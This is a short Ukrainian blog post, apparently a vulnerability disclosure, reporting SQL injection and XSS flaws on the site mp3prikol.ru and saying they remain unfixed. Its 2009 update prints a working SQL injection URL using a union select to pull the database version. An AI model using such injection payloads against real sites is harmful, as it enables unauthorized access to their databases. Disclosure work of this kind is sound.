Уразливості на mp3prikol.ru
19:32 06.02.200928.07.2008
У листопаді, 16.11.2007, я знайшов SQL Injection та Cross-Site Scripting уразливості на проекті http://mp3prikol.ru. Про що найближчим часом сповіщу адміністрацію проекту.
Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.
06.02.2009
SQL Injection:
http://mp3prikol.ru/?action=view_track&track_id=-1%20union%20select%201,1,version(),1,1,1,1
XSS (через SQL Injection):
Дані уразливості досі не виправлені.
